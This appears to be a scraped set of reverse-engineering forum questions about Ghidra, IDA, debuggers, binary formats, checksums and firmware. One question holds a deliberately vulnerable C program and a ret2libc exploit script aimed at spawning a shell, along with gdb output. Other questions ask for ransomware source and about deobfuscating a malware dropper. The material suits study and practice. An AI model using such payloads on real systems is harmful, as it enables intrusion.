+I know that I can save output to a file and then use something like p8 1 @@.my_file, but it looks strange that I need to create a file for that. +Basically, I want a way to run a single radare command (possibly with parameters) for every line of output of another radare command. +" +['ghidra']," Title: How to enlarge block in Ghidra's Function Graph View?Body: I can't seem to figure out how to do such a trivial task: Basically, how can I enlarge a block in Ghidra's Function Graph View so that I can see all of the instructions (instead of ...). +There does not seem to be an enlarge option when I hover my mouse over the edge of the block. +The version I am using is 9.1.2 +Thanks! + +" +['smart-devices']," Title: How to probe my smart thermostat for reprogramming?Body: I got a Greenlite AIRZ thermostat which connects to my home wifi so that I can change the settings remotely on my phone. The Android app is, however, difficult to use, so I'm thinking about making my own. I found its IP address, put it in a browser, and it said verbatim File / not_found. The thermostat also rejects my request to connect to port 21/22. How should I proceed from here? Is the underscore between not and found a quirk of a specific server that would allow me to probe further? +" +['ida']," Title: IDA decompile binary fileBody: how can I decompile a binary file using IDA? I tried opening it and it said it cannot find the entry point automatically and I don't know where to find it, +" +['decompilation']," Title: Is decompilation easier or generally more accurate for smaller ISAs?Body: I am wondering if decompilation would be easier for an ISA with fewer instructions. For example, RISC-V vs x86. +" +['assembly']," Title: How to change value at a memory address?Body: I am solving Memory Corruption CTF (msp430 assembly) +How can I put the value 0x3c4f inside address 0x439c (r15 from Register state)? When cmp instruction executes, we want the value at memory address 0x439c to be equal to 0x3c4f. + +One thing to note is cmp instruction will compare 2 bytes +.W : The suffix .W or no suffix at the +instruction memonic will result in +a word operation +I appreciate your help! +Should I put 3 in 0x439c, c in 0x439d, 4 in 0x439e and f in 0x439f? +" +['gdb']," Title: ret2libc exploit issueBody: i have some code in c i am working to write exploit for it: +
#include <stdio.h>    
+void secretFunction()
+{
+            printf("Congratulations!\n");
+            printf("You have entered in the secret function!\n");
+}
+
+void echo()
+{
+            char buffer[20];
+            printf("Enter some text:\n");
+            scanf("%s", buffer);
+            printf("You entered: %s\n", buffer);
+}
+
+int main()
+{
+            echo();
+            return 0;
+}
+
+and i wrote the exploit script in python: +
#!/bin/env python
+import struct
+system_addr = struct.pack("<I", 0xb7e1d200)
+shell_addr = struct.pack("<I", 0xb7f5e0cf)
+exit_addr = struct.pack("<I", 0xb7deeaac)
+buf = "A" * 32
+buf += system_addr
+buf += exit_addr
+buf += shell_addr
+print buf
+
+in gdb: +gdb-peda$ r <<< $(python exploit_scanf.py) +it gave me: +
[----------------------------------registers-----------------------------------]
+EAX: 0x38 ('8')
+EBX: 0x42424242 ('BBBB')
+ECX: 0x0
+EDX: 0xb7fb9890 --> 0x0
+ESI: 0xb7fb8000 --> 0x1d7d6c
+EDI: 0x0
+EBP: 0xd2424242
+ESP: 0xbffff470 --> 0xe0cfb7de
+EIP: 0xeaacb7e1
+EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+Invalid $PC address: 0xeaacb7e1
+[------------------------------------stack-------------------------------------]
+0000| 0xbffff470 --> 0xe0cfb7de
+0004| 0xbffff474 --> 0xbf00b7f5
+0008| 0xbffff478 --> 0x0
+0012| 0xbffff47c --> 0xb7df8e81 (<__libc_start_main+241>:       add    esp,0x10)
+0016| 0xbffff480 --> 0xb7fb8000 --> 0x1d7d6c
+0020| 0xbffff484 --> 0xb7fb8000 --> 0x1d7d6c
+0024| 0xbffff488 --> 0x0
+0028| 0xbffff48c --> 0xb7df8e81 (<__libc_start_main+241>:       add    esp,0x10)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+Stopped reason: SIGSEGV
+0xeaacb7e1 in ?? ()
+
+and sometimes it gave me: +
/bin/bash: warning: command substitution: ignored null byte in input
+
+and no redirect to shell , what is the issue with ret2libc exploit? +" +"['binary-analysis', 'pe', 'entry-point']"," Title: How to find the file address of AddressOfEntryPointBody: I have a binary file and in the optional header I have the address of the entry point 0x00011046 but when I put the file inside HEX editor this address doesn't exist, more than that 0x000097f0. +I suppose that this is kind of RVA but I don't know how can I find the real address.
+ +EDIT:
+I have the section headers:
+ +I am not sure but the .textbss is 0x10000, I tried to do 0x11000 - 0x11046 = 0x1046 and search for this in the file but it doesn't look like the entry point. +" +"['elf', 'executable', 'binary-format']"," Title: Generating an elf headerBody: To get a basic understanding of the ELF format, I'm writing a basic program to generate a valid elf file from the most basic assembly output. I'm going step-by-step so I'll probably ask a few questions here as I make my way through it. I've generated the first 16-bytes of the header and verified that it's the same from a gcc-compiled program on my machine (nothing special, since those first 16-bytes are almost always the same). Here is what I have so far (using python): +
# https://refspecs.linuxfoundation.org/elf/elf.pdf
+b = bytearray()
+
+# (1) magic header
+b.append(0x7F) # starting number
+b.extend([ord('E'), ord('L'), ord('F')])
+
+# (2) ei-class ('capacity') -- 1 for 32-bit, 2 for 64-bit
+# uname -m # x86_64
+BITS_32 = 1
+BITS_64 = 2
+b.append(BITS_64)
+
+# (3) ei-data ('data-encoding') -- 1 for little-endian (standard), 2 for big-endian
+LITTLE_ENDIAN = 1
+BIG_ENDIAN    = 2
+b.append(LITTLE_ENDIAN)
+
+# (4) ei-version -- always will be 1 -- 
+EV_CURRENT = 1
+b.append(EV_CURRENT)
+
+# (5) ei-pad -- padding --> pad 0's up to 16 bytes
+b.extend([0,] * (16-len(b)))
+
+print('%s\nLength: %s' % (b, len(b)))
+
+And I get: +
bytearray(b'\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+Length: 16
+
+I have a few questions about this: + +" +"['x64dbg', 'functions', 'libraries']"," Title: How to view the functions of a loaded library in x64dbgBody: I am working on a packed file with UPX.
+In one of the lines it calls to the value of the address 0xF5222C which is: 0x778057c0.
+ +The debugger auto-completes it to kernel32.LoadLibraryA.
+Where can I verify that this is the address of the function? +I looked at the "Memory Map" tab but all I can see is the address (0x777F000) of the kernel32.dll module:
+ +Is there a place I can view the addrresses of all the functions related to a specific module? +EDIT:
+I tried Search for > All Modules > Intermodlar calls:
+ +I searched for LoadLibraryA (address 0x778057c0) but it doesn't find it:
+ +" +"['static-analysis', 'encodings', 'crackme']"," Title: Password evaluated from the sum of ASCII lettersBody: After analyzing the code, I have been able to understand and recreate the algorithm used to check if the password the binary takes is correct, but don't know how to solve it (or at least can't think of any approach that would be performant enough to finish within feasible time). +The first three letters of the expected password can be easily seen in the disassembly, as well as the length of the password being 16 letters. +Then it gets a little tricky, as the program enters a loop summing up the ASCII values of different letters of the password into 4 variables, which are afterwards checked against a value each after being taken modulo 100, which have to be met for the password to be regarded as "correct" +To be more exact, the letters are summed up as follows (indices in the password starting from 1: +Var1: 1, 3, 4, 6, 7, 11, 12, 14, 15 +Var2: 1, 3, 5, 7, 9, 11, 13, 15 +Var3: 2, 5, 8, 11, 14 +Var4: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 +This also tells me, that given I didn't understand the code completely wrong, the last letter of the password is not relevant as well. +Anyways, my question would be, if with the information present this problem is even solvable, and if yes, what approach would make sense, as brute-forcing obviously doesn't. +" +"['malware', 'ransomware']"," Title: Ransomware Source CodesBody: Have been searching ransomware source codes for analysis(as much as possible). I have already checked with sites like Any.Run but most of their samples are .exe and binary files. Does any one have any leads to a place I can get the source codes especially for ransomware? +" +"['disassembly', 'decompilation', 'file-format', 'game-hacking', 'exe']"," Title: How would I start to decode this? Asking for help from a friend (Alien Hominid Invasion)Body: I have literally no idea how to start to decode this kind of a file, but I really want these fonts and a decoder would be huge for the community, so any help would be great. Linked below is a google drive folder with the launcher and game exe files and the archive. Are there apps that help with the process of decoding? +https://drive.google.com/drive/folders/1jQa36d3wCQyAdjLwjfCSMYeyQrwqADer?usp=sharing +" +['ghidra']," Title: ghidra scripting: ghidra unable to resolve string typeBody: I have following code: +
#include <stdio.h>
+
+char somes[10] = "good job!";
+char somes1[8] = "another";
+char somes2 [5] = "job";
+
+int func()
+{
+  printf("You did a %s\n", somes);
+  // func(10);
+}
+
+int main()
+{
+  printf("You did a %s\n", somes1);
+  printf("You did a %s\n", somes2);
+  printf("garb");
+  printf("sharp");
+  func();
+}
+
+I want to get sizes of strings defined in the code. Ghidra behaves strangely in such cases, even with symbol information. For e.g. in the above program, ghidra accurately detects lengths (or sizes of) all strings except. "garb" - it says that its size is 1 and defined as a single character "g" (s.getObject()). I feel this very strange, as even with debugging information, ghidra fails to detect this. Is there anything I can do to get such sizes (or correct string representations)? +I am doing something like: +
symbols = set(currentProgram.getSymbolTable().getAllSymbols(True))
+for s in symbols:
+    if s.isGlobal():
+        // gives me size of object
+        print(s.getObject().getLength())
+
+ +Note that I have also posted this question here - https://github.com/NationalSecurityAgency/ghidra/issues/2274 +" +"['assembly', 'x64dbg', 'stack']"," Title: How to calculate value inside stack segment (SS)Body: I have an assembly row which the following information: +
EBP = 006FFB50
+SS  = 002B  
+
+When I looked on this row: +
mov eax,dword ptr ss:[ebp+8]  
+
+I assumed that EBP + 8 = 006FFB50 + 8 = 006FFB58.
+But according to x64DBG, this is the result: +
dword ptr [ebp+8]=[006FFB58]=006FFC98  
+
+I don't understand how it was calculated.
+Why ss:[006FFB58] is equal to 006FFC98? +Picture for reference with more information:
+ +" +"['c', 'amd64']"," Title: Application only Crashes on CPU with SHA extensionBody: Have an application that only crashes if CPU has SHA extensions. After some investigation find a hashing routine that only occurs if CPU has SHA extensions. +I'm trying to confirm if issue is with input data or a bug in the application, original source code is not available. If a possible bug in the application trying to think what a possible original C code might look like that would generate this type of crash. +The routine has the following disassembly: +
X86_64_SHAEXT_SHA1Transform proc near   ; DATA XREF: X86_64_EnableCPUFeatures+14E↑o
+
+arg_0           = qword ptr  8
+arg_8           = qword ptr  10h
+
+                mov     [rsp+arg_0], rdi
+                mov     [rsp+arg_8], rsi
+                mov     rdi, rcx
+                mov     rsi, rdx
+                mov     rdx, r8
+                mov     rax, rsp
+                lea     rsp, [rsp-48h]
+                movaps  xmmword ptr [rax-48h], xmm6
+                movaps  xmmword ptr [rax-38h], xmm7
+                movaps  xmmword ptr [rax-28h], xmm8
+                movaps  xmmword ptr [rax-18h], xmm9
+                movdqu  xmm0, xmmword ptr [rdi]
+                movd    xmm1, dword ptr [rdi+10h]
+                movdqa  xmm3, cs:xmmword_7FFE8439F4A0
+                movdqu  xmm4, xmmword ptr [rsi]
+                pshufd  xmm0, xmm0, 1Bh
+                movdqu  xmm5, xmmword ptr [rsi+10h]
+                pshufd  xmm1, xmm1, 1Bh
+                movdqu  xmm6, xmmword ptr [rsi+20h]
+                pshufb  xmm4, xmm3
+                movdqu  xmm7, xmmword ptr [rsi+30h]
+                pshufb  xmm5, xmm3
+                pshufb  xmm6, xmm3
+                movdqa  xmm9, xmm1
+                pshufb  xmm7, xmm3
+                jmp     loc_7FFE8439F940
+; ---------------------------------------------------------------------------
+                align 20h
+
+loc_7FFE8439F940:                       ; CODE XREF: X86_64_SHAEXT_SHA1Transform+74↑j
+                                        ; X86_64_SHAEXT_SHA1Transform+28A↓j
+                dec     rdx
+                lea     rax, [rsi+40h]
+                paddd   xmm1, xmm4
+                cmovnz  rsi, rax
+                movdqa  xmm8, xmm0
+                sha1msg1 xmm4, xmm5
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 0
+                sha1nexte xmm2, xmm5
+                pxor    xmm4, xmm6
+                sha1msg1 xmm5, xmm6
+                sha1msg2 xmm4, xmm7
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 0
+                sha1nexte xmm1, xmm6
+                pxor    xmm5, xmm7
+                sha1msg2 xmm5, xmm4
+                sha1msg1 xmm6, xmm7
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 0
+                sha1nexte xmm2, xmm7
+                pxor    xmm6, xmm4
+                sha1msg1 xmm7, xmm4
+                sha1msg2 xmm6, xmm5
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 0
+                sha1nexte xmm1, xmm4
+                pxor    xmm7, xmm5
+                sha1msg2 xmm7, xmm6
+                sha1msg1 xmm4, xmm5
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 0
+                sha1nexte xmm2, xmm5
+                pxor    xmm4, xmm6
+                sha1msg1 xmm5, xmm6
+                sha1msg2 xmm4, xmm7
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 1
+                sha1nexte xmm1, xmm6
+                pxor    xmm5, xmm7
+                sha1msg2 xmm5, xmm4
+                sha1msg1 xmm6, xmm7
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 1
+                sha1nexte xmm2, xmm7
+                pxor    xmm6, xmm4
+                sha1msg1 xmm7, xmm4
+                sha1msg2 xmm6, xmm5
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 1
+                sha1nexte xmm1, xmm4
+                pxor    xmm7, xmm5
+                sha1msg2 xmm7, xmm6
+                sha1msg1 xmm4, xmm5
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 1
+                sha1nexte xmm2, xmm5
+                pxor    xmm4, xmm6
+                sha1msg1 xmm5, xmm6
+                sha1msg2 xmm4, xmm7
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 1
+                sha1nexte xmm1, xmm6
+                pxor    xmm5, xmm7
+                sha1msg2 xmm5, xmm4
+                sha1msg1 xmm6, xmm7
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 2
+                sha1nexte xmm2, xmm7
+                pxor    xmm6, xmm4
+                sha1msg1 xmm7, xmm4
+                sha1msg2 xmm6, xmm5
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 2
+                sha1nexte xmm1, xmm4
+                pxor    xmm7, xmm5
+                sha1msg2 xmm7, xmm6
+                sha1msg1 xmm4, xmm5
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 2
+                sha1nexte xmm2, xmm5
+                pxor    xmm4, xmm6
+                sha1msg1 xmm5, xmm6
+                sha1msg2 xmm4, xmm7
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 2
+                sha1nexte xmm1, xmm6
+                pxor    xmm5, xmm7
+                sha1msg2 xmm5, xmm4
+                sha1msg1 xmm6, xmm7
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 2
+                sha1nexte xmm2, xmm7
+                pxor    xmm6, xmm4
+                sha1msg1 xmm7, xmm4
+                sha1msg2 xmm6, xmm5
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 3
+                sha1nexte xmm1, xmm4
+                pxor    xmm7, xmm5
+                sha1msg2 xmm7, xmm6
+                movdqu  xmm4, xmmword ptr [rsi]
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 3
+                sha1nexte xmm2, xmm5
+                movdqu  xmm5, xmmword ptr [rsi+10h]
+                pshufb  xmm4, xmm3
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 3
+                sha1nexte xmm1, xmm6
+                movdqu  xmm6, xmmword ptr [rsi+20h]
+                pshufb  xmm5, xmm3
+                movdqa  xmm2, xmm0
+                sha1rnds4 xmm0, xmm1, 3
+                sha1nexte xmm2, xmm7
+                movdqu  xmm7, xmmword ptr [rsi+30h]
+                pshufb  xmm6, xmm3
+                movdqa  xmm1, xmm0
+                sha1rnds4 xmm0, xmm2, 3
+                sha1nexte xmm1, xmm9
+                pshufb  xmm7, xmm3
+                paddd   xmm0, xmm8
+                movdqa  xmm9, xmm1
+                jnz     loc_7FFE8439F940
+                pshufd  xmm0, xmm0, 1Bh
+                pshufd  xmm1, xmm1, 1Bh
+                movdqu  xmmword ptr [rdi], xmm0
+                movd    dword ptr [rdi+10h], xmm1
+                movaps  xmm6, xmmword ptr [rax-48h]
+                movaps  xmm7, xmmword ptr [rax-38h]
+                movaps  xmm8, xmmword ptr [rax-28h]
+                movaps  xmm9, xmmword ptr [rax-18h]
+                mov     rsp, rax
+                mov     rdi, [rsp+arg_0]
+                mov     rsi, [rsp+arg_8]
+                retn
+X86_64_SHAEXT_SHA1Transform endp
+
+Function is called like this: +
    00007ffe`8437223d ff15ade82100    call    qword ptr [crypto!g_pSHA1Transform (00007ffe`84590af0)] ds:00007ffe`84590af0={crypto!X86_64_SHAEXT_SHA1Transform (00007ffe`8439f8c0)}
+00007ffe`84372243 4803ee          add     rbp,rsi
+
+When function enters, correct return address is on stack: +
00007ffe`8439f8c0 48897c2408      mov     qword ptr [rsp+8],rdi ss:00000000`023fb6d0=00008bca8073ce32
+0:000> dd @rsp
+00000000`023fb6c8  84372243 00007ffe 8073ce32 00008bca <- return address on stack
+00000000`023fb6d8  47474747 00000000 00000004 00000000
+00000000`023fb6e8  00000060 00000000 00000005 00000000
+00000000`023fb6f8  8435e9af 00007ffe 00000078 00000000
+00000000`023fb708  00000000 00000000 023fb800 00000000
+00000000`023fb718  00000060 00000000 00000000 00000000
+00000000`023fb728  00000000 00000000 00000000 00000000
+00000000`023fb738  00000000 00000000 00000000 00000000
+
+Here return address is trashed: +
00007ffe`8439f8c0 48897c2408       mov     qword ptr [rsp+8], rdi
+00007ffe`8439f8c5 4889742410       mov     qword ptr [rsp+10h], rsi
+00007ffe`8439f8ca 4889cf           mov     rdi, rcx
+00007ffe`8439f8cd 4889d6           mov     rsi, rdx
+00007ffe`8439f8d0 4c89c2           mov     rdx, r8
+00007ffe`8439f8d3 4889e0           mov     rax, rsp  
+00007ffe`8439f8d6 488d6424b8       lea     rsp, [rsp-48h] <- Trashes return address on stack
+
+AFter this executes, return address gone : +
0:000> dd @rsp
+00000000`023fb680  47474747 47474747 00000000 47474747
+
+When retn executes it's still broken, 0x548ec86043f333c9 doesn't point to any valid memory. +
0:000> dd @rsp
+00000000`023fb980  43f333c9 548ec860 240b3e9b 8cfc35f9 <- Not a valid memory location on stack
+
+It seems the intention is rsp is backed up in rax, and restored at end of function: +
mov     rax, rsp
+lea     rsp, [rsp-48h]
+; <processing code>
+mov     rsp, rax
+mov     rdi, qword ptr [rsp+8]
+mov     rsi, qword ptr [rsp+10h]
+ret     
+
+However rax is changed during function: +
lea     rax, [rsi+40h]
+
+If rax hadn't changed the return address would still be correct. +Is there a scenario when this code could have actually worked? +" +"['crc', 'protocol']"," Title: What checksum algorithm is this?Body: I'm trying to control an air conditioning unit. The app and the unit communicate using the Broadlink protocol. I can decode the settings it's sending and replay them. +The payload is 32 bytes but only the middle 15 ever change (prefixed with 19 00 bb 00 06 80 00 00 0f 00 01 01 and suffixed with zeros). I think the last two bytes are some kind of checksum, but I'm unsuccessful in recreating it. +Here's a sample (more): +
9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19 
+9f e4 07 60 00 20 00 00 20 00 00 00 00 67 19 
+9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19 
+97 e4 87 60 00 20 00 00 20 00 00 00 00 ef 18 
+97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19 
+9f e4 87 60 00 20 00 00 20 00 00 00 00 e7 18 
+a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19 
+a7 e4 07 60 00 80 00 00 20 00 00 00 00 5e b9 
+a7 e4 07 40 00 20 00 00 20 00 00 00 00 5f 39 
+a7 e4 07 20 00 20 00 00 20 00 00 00 00 5f 59 
+a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59
+
+I think it's related to a sum because the same number of bits change in the sum, but I've calculated the difference and the XOR between the sum and the actual checksum and they aren't constant. Also tried reversing the bits with no luck. +" +"['c++', 'function-hooking']"," Title: Alternative to MS Detours (32 bit)Body: I have used MS Detours for one project in c++ and work perfectly. +I have created a clone of this application (95% of the some code) to hook another file (a GOG game with DRM free), but this time crash always on DetourAttach. +I have compared A/B these 2 projects (both are 32 bit) and for now seem that the new game that I need to hook is incompatible with detuors (or this is my impression). +I ask if there is a good alternative when detours not work. +" +"['ida', 'address']"," Title: Can't find sequence of bytes in IDA while debuggingBody: While debugging a program, I have an address 0011E028 in eax that points to another address: 680df44:
+ +I wanted to see what appear inside the address 680df44 so I go to Search > sequence of bytes... (Alt+B) in IDA and searched for 680df44 but it didn't find this address: +
Searching down CASE-INSENSITIVELY for binary pattern:
+    44 DF 80 06
+Search failed.
+Command "AskBinaryText" failed
+
+I thought maybe the order was incorrect so I change it to 40f40d68 and it still failed: +
Searching down CASE-INSENSITIVELY for binary pattern:
+    68 0D F4 40
+Search failed.
+Command "AskBinaryText" failed
+
+" +"['ida', '.net']"," Title: Failed to load .net binary on IDA ProBody: I tried to use IDA Pro to load a binary file. IDA detected it as a .NET file: + +but when I click OK to load the program, the following error occured, and the program can't be loaded: + +I tried to google the error message, but found no answer. Please help me to load this file. Thanks! +" +['firmware-analysis']," Title: c-sky family based gx6605 firmware analysis to read dataBody: from past few days i am fiddling with the firmware file of dvb s2 receiver of gx6605s processor. +my preliminary purpose is to read the hidden menu password for given firmware.(password used to hide-unhide menu) +Dump.bin extraction gives 7 other bin files boot.bin,data.bin,info.bin,kernel.bin,logo.bin,root.bin,table.bin.. +Kernel.bin is lzma compressed so using a hex editor i removed the lzma header to search the menu password but could'nt find it may be due to a lay man's approach.I also used binwalk with various commands to further extract the fragments but now clueless what to do next. +I request the group members to help me & guide me in choosing the appropriate approach. +Thank you.. +firmware link is shared below +https://drive.google.com/file/d/1c2SyGaHu5I9P1jRCWKQomAYNQBYbgmg4/view?usp=sharing +" +['ghidra']," Title: How to create an uninitialized variable in Ghidra?Body: The code under inspection is a native Android library used in an Android application. +The decompiler is showing me a lot of lines in the style DAT_12345678 = 0x12345678 with ascending addresses. +I know that this is the initialization of an uninitialized array. +When I want to set the data type, I get the error message Address not found in program memory.. +I guess I have to create a memory block first, but in the Memory Map window I do not see an option to add blocks. +How can I fix that? Thanks. +" +"['debugging', 'elf', 'ghidra', 'binary', 'decompiler']"," Title: How to open new window of decompiler or resize the decompiler of Ghidra?Body: +This is very small and inconvenient to read. How do i open new Window (any shortcut key) or resize it, for some reason i cant resize. +Any help? +EDIT: Oh thanks Shane Riley, i clicked the blue button and suddenly it opened a new dialog box this is what i wanted. Then when i clicked closes, the Ghidra looks like this and i got my answer, the blue Cf like thing opened new dialog box + +" +"['memory', 'static-analysis']"," Title: Strange memory allocation behaviourBody: I'm currently working on a modding library for a particular game, and I have come across a part of the menu system that I can't figure out the purpose of. +The expression in question is this: +
unsigned num = ((n + 1) * 4) / 3 + 3;
+
+The game then goes on to use the value to allocate space for menu item structures: +
void *newItemStorage = allocate(num * 0x18);
+
+// 0x18 = sizeof(menu item structure)
+
+n is the number of menu item structures there are currently, and the code containing this maths is used to allocate space for more structures when there is not currently enough (the old array is copied into the new space with memcpy). +From what I can tell, this system must be allocating more space than it needs so that fewer reallocations need to happen in the future. However, I don't see why this particular formula must be used to work out the space. The game stores num and only reallocates again when num < n + 1. +I actually graphed the formula when I was working out what it did, so here is that graph. (I used floor to try to simulate integer division.) One of the parts I find most confusing is the fact that num is in groups of three: +Starting at n = 0 and increasing by 1 yields: +4, 5, 7, 8, 9, 11, 12, 13. +If this is some system for preallocating memory, why is it being done like this? If not, what is the system doing? +" +"['disassembly', 'assembly', 'debuggers', 'stack', 'stack-variables']"," Title: ASM Debuggers that visualize the stack (beginner friendly)Body: (Cross-posted from Stack Overflow) +Are there any debuggers that constantly show a visual of the stack and where everything is within it? For example, taking some random image: + +I use gdb for most debugging/learning, and while it does show the registers, I have to do something like x/8gx $rbp-32 everytime I want to see the stack -- and from that I usually figure out how I want the data to show. +Are there any debuggers that make this information friendlier and more visual? I am very, very new to asm and the visual does help when debugging the information. (I'm hoping some off-the-shelf product such as Hopper, IDA, x86db, etc.) +" +['encryption']," Title: Reverse engineering algorithm for get keysBody: I have 2 groups of 4 byte and from this i have to get a key that have 6 byte. +Im trying to get the algorithm but i cant in any way. +The 1st group have only one bit different from the 2nd one. +Idk if i have to extract the 1st or the second key, but i think the 1st one. +1st group 4byte: 0x6339959F
+2nd group 4byte: 0x6339959E +1st group keys: +
0x38A39FE39EF5
+0x296A852D73EA
+
+2nd group keys: +
0x39BF16EACF1A
+0x28760C242205
+
+i let a another group and relative keys:
+group: 0x66CF0824
+keys: +
0x92252BCADB80
+0x83EC3104369F
+
+" +"['ida', 'disassembly', 'arm', 'ghidra', 'exploit']"," Title: What do these 2 Ghidra warnings mean?Body: When disassembling ARM binaries in Ghidra, I often see these warnings: +
                /* WARNING: Could not recover jumptable at 0x0747c198. Too many branches */
+                /* WARNING: Treating indirect jump as call */
+
+What do they mean? What's the underlying architectural concept I should learn about to understand the cause of these issues? +Here's an example from a real program, seen in Ghidra's disassembly: +
    if (param_2 == 0x78) {
+                /* WARNING: Could not recover jumptable at 0x0747c198. Too many branches */
+                /* WARNING: Treating indirect jump as call */
+      uVar3 = (*DAT_0747c19c)();
+      return uVar3;
+    }
+
+" +"['windows', 'binary-analysis', 'static-analysis', 'patch-reversing']"," Title: Static Binary in WindowsBody: I am learning more about binary exploitation on windows. But I saw while revering a binary that you can create static binaries in windows too just like in Linux. It was really ugly. if I would be on Linux, I could just use the file command to know if it is dynamic or static. but now I am in windows and do I have some way to know if the binary is static before reversing it. +" +"['android', 'frida', 'lua']"," Title: Decode lua scripts for cocos2d based game / frida, androidBody: I'm trying to decrypt LUA scripts from cocos2dx game (for wiki). +In most cases, it's XXTEA based, but not in this case. +The game itself: +https://apkpure.com/might-magic-era-of-chaos/com.ubisoft.might.magic.heroes.fantasy.rpg +I'm tried to use Frida. Works fine in Android emulator, not a problem to attach and check some methods calls with parameters.... but some methods are not detected, looks like protection hides them. +Interesting, but all lua files are starting with "16c652b86b5b0bc516920e6cd3c3a074" (16 bites) prefix, but it's not a key for XXTEA algo. +" +"['ida', 'windows', 'c', 'pe']"," Title: What is the meaning of call ds:ApiName[registry*constant] in IDA .asm files?Body: I have a dataset of .ASM files generated by IDA (dont have the corresponding file) +now there are a lot of calls like this : +
.text:00637114 5F                                  pop     edi
+.text:00637115 33 C0                                   xor     eax, eax
+.text:00637117 FF 14 45 04 87 63 00                        call    ds:GetModuleHandleA[eax*2]
+.text:0063711E 57                                  push    edi
+.text:0063711F                                     db      3Eh
+.text:0063711F 3E C2 00 00                             retn    0
+
+Now i have never seen something like call ds:apicall[registry*constant] in IDA disassembly itself, what does this even mean? why is eax getting multiplied by two within a call instruction and its in brackets after the api name? it can't be the input to the api since its not getting pushed to stack(its x86). i thought near call instructions (FF) only have the offset in their operand, this is really confusing me, what does IDA mean when it says call ApiCall[registry * constant] ? +EDIT1: +this is a "normal" type of api call in .asm files : +
.text:00402ACD 8B CB                                   mov     ecx, ebx
+.text:00402ACF 68 B8 9B 64 00                              push    offset WndClass ; lpWndClass
+.text:00402AD4 FF 15 44 41 63 00                           call    ds:RegisterClassA
+.text:00402ADA 8D 4D 70                                lea     ecx, [ebp+68h+hInstance]
+
+" +"['malware', 'deobfuscation']"," Title: How can I de-obfuscate a VBScript (.vbs) file?Body: I have a VBScript (.vbs) file that is a malware dropper. It executes correctly in a commercial malware sandbox. but does not act the same in my manual analysis lab, and I need to figure out why. The script is heavily obfuscated (i.e. not simply using execute), and I don't know how to begin to analyze it. +So far, i've tried the open source tool ViperMonkey, put it failed to trace the script. +Any suggestions? +" +"['disassembly', 'assembly', 'x86', 'operating-systems', 'intel']"," Title: Where are the intel manual x86-16?Body: I was studying the code for x86-16 operating systems(como DOS),with a desassembler, but I can't find the intel manual on the intel website: +Searching on google, only unofficial sources. +Perhaps the manual is from 1979, and probably released in print, and they didn't want to have work releasing on the internet? Or removed from the site for convenience to encourage x86-32 and x86-64 assembly programming? +Supposed manual: Intel 8086 Family User's Manual October 1979. +" +"['firmware', 'linux']"," Title: Need help opening a .img file from a camera firmware (trying to get out of the Meari/Zumimall/PPstrong cloud!)Body: I've got a cloud-based battery powered camera which I'm really hoping to get out of the cloud with, in order to enable RTSP or ONVIF (or something local!). +I've managed to get a .bin file. Binwalk allowed me to get an .img file, and there are many interesting strings from this file. It appears to at least have a filesystem of sorts: +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+3213849       0x310A19        Certificate in DER format (x509 v3), header length: 4, sequence length: 5380
+4199041       0x401281        Certificate in DER format (x509 v3), header length: 4, sequence length: 13692
+5097905       0x4DC9B1        Certificate in DER format (x509 v3), header length: 4, sequence length: 5380
+5184988       0x4F1DDC        Base64 standard index table
+5191688       0x4F3808        Unix path: /home/sound/warning.wav
+5195472       0x4F46D0        Unix path: /home/sound/login.wav
+5196188       0x4F499C        Unix path: /home/sound/restart.wav
+5213511       0x4F8D47        HTML document header
+5213544       0x4F8D68        HTML document footer
+5213635       0x4F8DC3        HTML document header
+5213676       0x4F8DEC        HTML document footer
+5213811       0x4F8E73        HTML document header
+5213995       0x4F8F2B        HTML document footer
+5217731       0x4F9DC3        HTML document header
+5217938       0x4F9E92        HTML document footer
+5218791       0x4FA1E7        HTML document header
+5219471       0x4FA48F        HTML document footer
+5220243       0x4FA793        HTML document header
+5220367       0x4FA80F        HTML document footer
+5221348       0x4FABE4        XML document, version: "1.0"
+5242268       0x4FFD9C        SHA256 hash constants, little endian
+5264636       0x5054FC        SHA256 hash constants, little endian
+5275136       0x507E00        PEM certificate
+5280492       0x5092EC        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/kernel/base/core/los_task.c
+5283112       0x509D28        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/kernel/base/mem/mem_bestfit/los_memory.c
+5284576       0x50A2E0        Unix path: /home/linux/share/code/meari/liteos/liteos_v1.0.0.5/kernel/base/ipc/los_mux.c
+5292128       0x50C060        Unix path: /usr/local/etc/zoneinfo
